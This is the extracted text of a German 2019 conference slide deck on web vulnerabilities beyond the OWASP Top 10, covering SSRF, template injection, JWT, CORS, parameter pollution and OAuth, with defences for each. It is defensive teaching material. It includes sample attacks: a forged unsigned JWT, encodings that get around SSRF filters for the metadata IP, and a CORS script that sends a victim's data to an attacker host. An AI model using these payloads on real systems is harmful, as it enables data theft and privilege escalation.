Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach...

80
4. Juli 2019 Beyond OWASP Top 10 Über welche Schwachstellen werden Webanwendungen und Schnittstellen angegriffen, wenn die wesentlichen Grundlagen der OWASP Top 10 abgesichert sind? Frank Ully, Senior Penetration Tester & Security Consultant

Transcript of Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach...

Page 1: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

4. Juli 2019

Beyond OWASP Top 10

Über welche Schwachstellen werden Webanwendungen

und Schnittstellen angegriffen, wenn die wesentlichen

Grundlagen der OWASP Top 10 abgesichert sind?

Frank Ully, Senior Penetration Tester & Security Consultant

Page 2: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

2 © 2019 Oneconsult AG

ONECONSULT

Page 3: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

3 © 2019 Oneconsult AG

AGENDA

Einführung

OWASP

Top 10

Risiken

Beyond

OWASP

Top 10

Fazit Weiterführende

Quellen

Page 4: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

EinführungOWASP Top 10

Page 5: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

5 © 2019 Oneconsult AG

RISIKEN IN WEBANWENDUNGEN

Bedrohungs-quellen

Schwach-stellen

Auswirkungentechnisch

Auswirkungen auf Unternehmen

Angriffs-vektoren

Sicherheits-maßnahmen

Page 6: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

6 © 2019 Oneconsult AG

Angriffsvektoren

Bedrohungs-quellen

Ausnutzbarkeit

Anwendungs-spezifisch

einfach

durchschnittlich

schwierig

Schwachstelle

Verbreitung Auffindbarkeit

sehr häufig einfach

häufig durchschnittlich

selten schwierig

Auswirkungen

Auswirkungentechnisch

Auswirkungen Unternehmen

schwerwiegend

Daten- & Geschäfts-spezifischmittel

gering

BEWERTUNG VON RISIKEN IN WEBANWENDUNGEN

3

2

1

3

2

1

3

2

1

3

2

1

Page 7: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

7 © 2019 Oneconsult AG

ÜBERSICHT ÜBER DIE RISIKEN DER OWASP TOP 10

12345

Injection

Fehler in Authentifizierung

Verlust der Vertraulichkeitsensibler Daten

XML External Entities

Fehler in ZugriffskontrolleFehlkonfiguration

Cross-Site Scripting

Unsichere Deserialisierung

Komponenten mit Schwachstellen

Unzureichendes Logging

Page 8: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

Umgehung von Rate Limiting / Request Header

Page 9: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

9 © 2019 Oneconsult AG

ÜBERSICHT

Beschreibung

→ Sicherheit hängt auch von Konfiguration ab; es werden unsichere (Standard-) Einstellungen verwendet

→ Angreifer können durch fehlendes oder nicht überall konfiguriertes Rate Limiting – oder leicht umgehbares Rate Limiting – etwa Brute-Force-Angriffe, z.B. auf Benutzerkonten, bis hin zu Denial-of-Service-Angriffen ausführen

Risikobewertung

3

3

3

2

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung

Page 10: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

10 © 2019 Oneconsult AG

UMGEHUNG VON RATE LIMITING

Page 11: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?
Page 12: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

12 © 2019 Oneconsult AG

FOLGE

Brute-Force-Angriffe werden nicht verhindert

Informationsabflüsse

Unautorisierter Zugriff auf Daten

Denial-of-Service für Nutzer mit bekannten IP-Adressen

Page 13: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

→Mehrere Zugriffe auf die Anwendung durchführen

▪ unauthentisiert

▪ authentisiert

▪ mit falschen Zugangsdaten

→Header einfügen

▪ veränderte Antworten beobachten

▪ veränderte Antwortzeiten beobachten

Page 14: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

14 © 2019 Oneconsult AG

MASSNAHMEN

Rate Limiting implementieren (429 Too Many Requests)

Benutzereingaben niemals trauen

Standard-Komponenten überprüfen

X-Forwarded-For, True-Client-IP, X-Real-IP, Referer, …

X-Host, X-Forwarded-Host, X-Original-URL, X-Rewrite-URL

Page 15: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

{ }

Server-Side Template Injection

Page 16: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

16 © 2019 Oneconsult AG

ÜBERSICHT

→ Benutzereingaben werden in ein (serverseitiges) Template eingefügt, ohne Metazeichen zu entfernen oder die Korrektheit zu überprüfen

→ Angreifer können internen Zustand auslesen, manipulieren und etwa ihre Privilegien erweitern oder Code auf dem Server ausführen

Beschreibung Risikobewertung

2

2

2

3

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung

Page 17: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

17 © 2019 Oneconsult AG

URSACHE

<html>…Hallo ${name}!…

</html>

Tem

pla

te

…data.name = "Frank";…

Java

Ob

jek

te

Template Engine

<html>…Hallo Frank!…

</html>

Output

Page 18: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

18 © 2019 Oneconsult AG

SERVER-SIDE TEMPLATE INJECTION

{ }

Page 19: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?
Page 20: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

20 © 2019 Oneconsult AG

FOLGE

Cross-Site Scripting

Sitzungsdaten auslesen und manipulieren

Remote Code Execution

Client-seitig: Ausbrechen aus Sandbox

Page 21: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

→ Ausdruck finden

▪ {{ }}▪ ${ }▪ #{ }▪ <% %>▪ ` `

→ Mathematik einfügen

▪ 2*2▪ 3-1

→ Reflektiertes XSS könnte Template Injection sein

→ Eingesetzte Technologien ermitteln (Wappalyzer, BuiltWith)

→ Tplmap

Page 22: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

22 © 2019 Oneconsult AG

MASSNAHMEN

Benutzereingaben in Templates vermeiden

Einfache Template-Engine verwenden

Eingabevalidierung, Ausgabe über Templatefunktion

Templates nicht doppelt evaluieren

Sandboxing in gehärtetem Docker-Container

Page 23: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

Server-Side Request Forgery

Page 24: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

24 © 2019 Oneconsult AG

ÜBERSICHT

→ Anwendung führt einen Request aus, dessen Ziel der Benutzer ganz oder teilweise vorgeben kann

→ Angreifer können interne Dienste erreichen, das interne Netzwerk scannen und sensible interne Daten auslesen. Gegebenenfalls sind reflektierte XSS-Angriffe oder das Ausführen von Code auf einem Server möglich

Beschreibung Risikobewertung

2

2

2

3

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung

Page 25: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

25 © 2019 Oneconsult AG

URSACHE

Angreifer

(Client)

Webserver Anderer Server

sendet Request

sendet Request

Page 26: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

26 © 2019 Oneconsult AG

FOLGE

Angreifer

(Client)

Anderer Server

Webserver

manipulierter Original-Request

A

B

bösartiger Request

B

Page 27: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

URSACHE

Page 28: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

Page 29: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

Page 30: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

30 © 2019 Oneconsult AG

FOLGE

Firewalls umgehen

Internes Netzwerk erreichen und ausforschen

Quell-IP verschleiern

ggf. Cross-Site Scripting oder Remote Code Execution

Page 31: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

→ Tool-unterstützt

▪ Burp Suite Intruder, sortiert nach Antwortgröße

▪ Burp Suite Collaborator

→ Egress-Firewall-Logs

→ URL / IP in Request?

▪ anderer Host

▪ Loopback-Adresse

▪ interne IP-Adresse

▪ anderes Protokoll

▪ anderer Port

▪ extern umleiten über 301 Redirect an intern

Page 32: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

32 © 2019 Oneconsult AG

KEINE MASSNAHME: BLACKLISTING

169.254.43518

2852039166

169.254.169.254

169.254.169.254.xip.io 1ynrnhl.xip.io (base36)

metadata.angreifer.de

425.510.425.510

7147006462

0xA9.0xFE.0xA9.0xFE

0xa9fea9fe

0x414141410a9fea9fe0 0251.0376.0251.0376

Page 33: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

33 © 2019 Oneconsult AG

MASSNAHMEN

Eingabevalidierung

Whitelisting (kein Blacklisting!), auch für Protokoll und Port

Internes, granulares Firewalling, auch für Localhost

IP des Hosts vor Zugriff auflösen. Intern?

Login vor interne Dienste

Page 34: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

JSON Web Token

Page 35: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

35 © 2019 Oneconsult AG

ÜBERSICHT

→ JSON Web Token (JWT) sind unzureichend kryptographisch gesichert, oder die Implementierung oder Konfiguration der Prüfung ist fehlerhaft

→ Angreifer können Daten für Authentifizierung und Autorisierung manipulieren und etwa ihre Privilegien erweitern

Beschreibung Risikobewertung

3

1

2

3

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung

Page 36: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

36 © 2019 Oneconsult AG

{ "alg": "HS256",

"typ": "JWT" }

He

ad

er

{ "sub": "1234567890",

"name": "John Doe",

"admin": false,

"iat": 1561732307,

"exp": 1593354707 }

Pa

ylo

ad

HMACSHA256(

base64UrlEncode(header) + "." +

base64UrlEncode(payload),

"geheimnis")Sig

na

tur

HINTERGRUND

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOmZhbHNlLCJpYXQiOjE1NjE3MzIzMDcsImV4cCI6MTU5MzM1NDcwN30.

H5T1x1voI9a7FFQ4HGWA8mpMDsLMpeCwQBToU-PSBtA

Page 37: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

37 © 2019 Oneconsult AG

{ "alg": "None",

"typ": "JWT" }

He

ad

er

{ "sub": "1234567890",

"name": "John Doe",

"admin": true,

"iat": 1561732307,

"exp": 1593354707 }

Pa

ylo

ad

Sig

na

tur

URSACHE 1

eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQo.

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTU2MTczMjMwNywiZXhwIjoxNTkzMzU0NzA3fQ.

Page 38: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

38 © 2019 Oneconsult AG

URSACHE 2

String token = "eyJhbGciOi…PSBtA";

try

{

DecodedJWT jwt =

JWT.decode(token);

}

catch (JWTDecodeException ex)

{

// Invalid token

}

try

{

Algorithm alg =

Algorithm.HMAC256("geheimnis");

JWTVerfier ver =

JWT.require(alg).build();

DecodedJWT jwt =

ver.verify(token);

}

catch (JWTVerificationException ex)

{

// Invalid signature/claim

}

Dekodierung Signaturverifikation

Quelle: https://pragmaticwebsecurity.com/talks/commonapisecuritypitfalls

Page 39: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

39 © 2019 Oneconsult AG

FOLGE

Symmetrisches Geheimnis kompromittiert für alle Dienste

Fälschen von Token

Horizontale Privilegienerweiterung

Vertikale Privilegienerweiterung

Page 40: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

→ Dynamisch (Black Box)

▪ Signatur manipulieren

▪ Header manipulieren („Null“ und „null“), Signatur entfernen

▪ Header manipulieren („RS256“ -> „HS256“), neu signieren

→ Statisch (White Box)

▪ Validieren statt nur dekodieren

▪ Stärke des Geheimnisses

Page 41: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

41 © 2019 Oneconsult AG

MASSNAHMEN

Entscheiden für symmetrisch oder asymmetrisch

Starke Schlüssel verwenden und sicher verwahren

Signatur überprüfen, mit festgelegtem Algorithmus

Kurze Gültigkeitsdauer der Token

IETF (Draft) JSON Web Token Best Current Practices

Page 42: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

Cross-Origin Resource Sharing

://abc

://xyz

Page 43: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

43 © 2019 Oneconsult AG

ÜBERSICHT

→ Anwendung setzt Single Origin Policy (SOP) über Cross-Origin Resource Sharing (CORS) Antwortheader nicht nur für bestimmte Anfragequellen außer Kraft

→ Angreifer können ein Opfer auf eine von ihnen kontrollierte Website locken und im Namen des Opfers auf die entfernte API zugreifen

Beschreibung Risikobewertung

2

2

3

2

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung

Page 44: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

44 © 2019 Oneconsult AG

HINTERGRUND

app.beispiel.de

sso.beispiel.de

Seite laden

var xhr = new XMLHttpRequest();

xhr.open('GET', 'https://sso.beispiel.de/requestApiKey', false);

xhr.withCredentials = true;

xhr.send();

Origin: https://app.beispiel.deCookie: JWT=…

Daten abfragen

Access-Control-Allow-Origin:https://app.beispiel.de

Access-Control-Allow-Credentials: true

Quelle: https://pragmaticwebsecurity.com/talks/commonapisecuritypitfalls

Page 45: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

URSACHE

Page 46: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

46 © 2019 Oneconsult AG

FOLGE

keinbeispiel.de beispiel.de

Browser des Opfers

besucht

gibt bösartiges Skript zurück

sendet bösartige Anfragemit Cookies und Origin Header

gibt geheime Datenund CORS Header zurück

untersucht CORS Header:

erlauben?

JA:Browser gibt

Daten an Skript

NEIN:Browser gibt Antwort nicht

weiter

var xhr = new XMLHttpRequest();xhr.open('GET',

'https://beispiel.de/data', true);

xhr.withCredentials = true;xhr.onload = function () {location = '//keinbeispiel.de/log?

response=' + xhr.responseText;};xhr.send();

GET /data HTTP/1.1Host: beispiel.deOrigin: https://keinspiel.de/Cookie: JWT=...

HTTP/1.1 200 OKAccess-Control-Allow-Origin:https://keinbeispiel.de

Access-Control-Allow-Credentials:true

--{"id":12345, "name":"Tom", "surname":"Kummer", "account":98765}

Quelle: https://www.bedefended.com/papers/cors-security-guide

Page 47: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

→ Antworten mit „Origin“-Header finden oder „Origin“-Header einfügen

→ „Origin“-Header verändern und neue Antworten beobachten

→ CORScanner

→ Allow-Credentials?

▪ Reflektiert und „null“ ausnutzbar

→ Kein Allow-Credentials?

▪ Reflektiert, „null“, „*“ausnutzbar

Page 48: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

48 © 2019 Oneconsult AG

MASSNAHMEN

Standard-Konfiguration überprüfen

Vermeiden, zumindest mit Credentials, wenn nicht nötig

Strikte Whitelist des Origins, nur sichere Protokolle

Header „Access-Control-Allow-Methods: …“ einschränken

Header „Vary: Origin“ setzen

Page 49: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

HTTP Parameter Pollution

? a=b&a=c

Page 50: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

50 © 2019 Oneconsult AG

ÜBERSICHT

→ Infrastruktur, Anwendung oder nachgelagerte Anwendungen gehen unerwartet oder unterschiedlich mit doppelt eingefügten Parametern um

→ Angreifer können Sicherheitsmechanismen oder Prüfungen zur Zugriffskontrolle umgehen, oder Benutzer dazu bringen, unerwartete Aktionen auszuführen

Beschreibung Risikobewertung

3

2

2

2

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung

Page 51: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

51 © 2019 Oneconsult AG

URSACHE: …?par=1&par=2

TECHNOLOGIE PARSING BEISPIEL

ASP.NET/IIS alle par=1,2

ASP/IIS alle par=1,2

PHP/Apache letztes par=2

PHP/Zeus letztes par=2

JSP, Servlet/Apache Tomcat erstes par=1

JSP, Servlet/Oracle Server 10g erstes par=1

JSP, Servlet Jetty erstes par=1

IBM Lotus Domino letztes par=2

IBM HTTP Server erstes par=1

mod_perl, libapreq2/Apache erstes par=1

TECHNOLOGIE PARSING BEISPIEL

Perl CGI/Apache erstes par=1

mod_perl,lib???/Apache Array ARRAY(0x…)

mod_wsgi (Python)/Apache erstes par=1

Python/Zope Array ['1','2']

IceWarp letztes par=2

AXIS 2400 alle par=1,2

Linksys Wireless-G Camera letztes par=2

Ricoh Aficio 1022 Printer erstes par=1

webcamXP RPO erstes par=1

DBMan alle par=1~~2

Quelle: https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Page 52: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

52 © 2019 Oneconsult AG

FOLGE: SERVER-SEITIG

Trigger URL

/index.aspx?p=1&p=2

Frontend Backend

Page 53: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

53 © 2019 Oneconsult AG

HTTP PARAMETER POLLUTION

? a=b&a=c

Page 54: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?
Page 55: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

55 © 2019 Oneconsult AG

FOLGE

Zugreifen auf oder Verändern von Daten unautorisiert

Umgehen von Eingabevalidierung

Umgehen von Web Application Firewalls

Durchführen von unbeabsichtigten Aktionen

Page 56: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

→ An Request Parameter doppelt einfügen mit unterschiedlichem Wert

→ Welcher Wert wurde genommen?

→ Wert an verschiedenen Stellen einfügen

→ GET, POST, …

→ Links / Eingabefelder untersuchen auf Rückgabe von Parametern

→ Besonders bei Übergabe an andere Dienste

Page 57: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

57 © 2019 Oneconsult AG

MASSNAHMEN

Sprachverhalten kennen

Parameter gezielt auswählen

Eingabevalidierung (doppelte Parameter entfernen)

Ausgabekodierung

Web Application Firewall

Page 58: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

OAuth

Page 59: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

59 © 2019 Oneconsult AG

ÜBERSICHT

→ In einem OAuth Flow sind Authorization Server oder Resource Server unzureichend vor Manipulation geschützt

→ Angreifer können Zugangsdaten eines Opfers wiederverwenden oder abfangen; oder von ihnen kontrollierte Ressourcen mit dem Konto oder der Sitzung eines Opfers verknüpfen (Cross-Site Request Forgery, CSRF)

Beschreibung Risikobewertung

2

2

2

2

Ausnutzbarkeit

Verbreitung

Auffindbarkeit

Tech. Auswirkung

Page 60: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

60 © 2019 Oneconsult AG

HINTERGRUND

Anmelde-Request

Umleitung zu Auth Server

Temporärer Authorization Code

Autorisierungs-Request

Request mit Authorization Code

Token Request

Access Token

Datenzugriff mit Access Token

Page 61: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

61 © 2019 Oneconsult AG

FOLGEN

Phishing-Mail mit Link

Temporärer Authorization Code

Autorisierungs-Request

AuthorizationCode

Request mit Authorization Code

Token Request

Access Token

Datenzugriff mit Access Token

Ressource

Seite mit Ressource

Page 62: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

FINDEN

→ (Regelmäßige) Tests

▪ von Authorization Servern

▪ von Resource Servern

Page 63: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

63 © 2019 Oneconsult AG

MASSNAHMEN

Passenden Flow / Grant-Typ wählen (nicht mehr Implicit)

Kurzlebige und einmalige Codes und Token ausgeben

State / Proof Key for Code Exchange (PKCE) verwenden

Authorization S.: redirect_URI registrieren und validieren

IETF (Draft) OAuth 2.0 Security Best Current Practice

Page 64: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

© 2019 Oneconsult AG

Fazit

Page 65: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

65 © 2019 Oneconsult AG

HAUPTSÄCHLICHE QUELLEN UND ABHILFE

Interpreter und Injektionen

Zu viel Vertrauen (besonders in Client)

Komplexität (Fehlkonfi-guration, JWT, OAuth)

Fehlender Schutz in der Tiefe

Eingabevalidierung

Ausgabekodierung

Serverseitige Validierung

Autorisierung bei jedem Zugriff

Standardisierung(aber: Einstellungen prüfen)

Automatisierung (in Deployment und Überprüfung)

Abschottung der eigenen Infrastruktur untereinander

Page 66: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

66 © 2019 Oneconsult AG

FAZIT

Page 67: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?
Page 68: Beyond OWASP Top 10 - Java Forum Stuttgart · 2019-07-05 · Burp Suite Intruder, sortiert nach Antwortgröße Burp Suite Collaborator →Egress-Firewall-Logs →URL / IP in Request?

68 © 2019 Oneconsult AG

→ Frank Ully

Senior Penetration Tester & Security ConsultantOneconsult Deutschland

+49 89 248820 623+49 151 588034 81

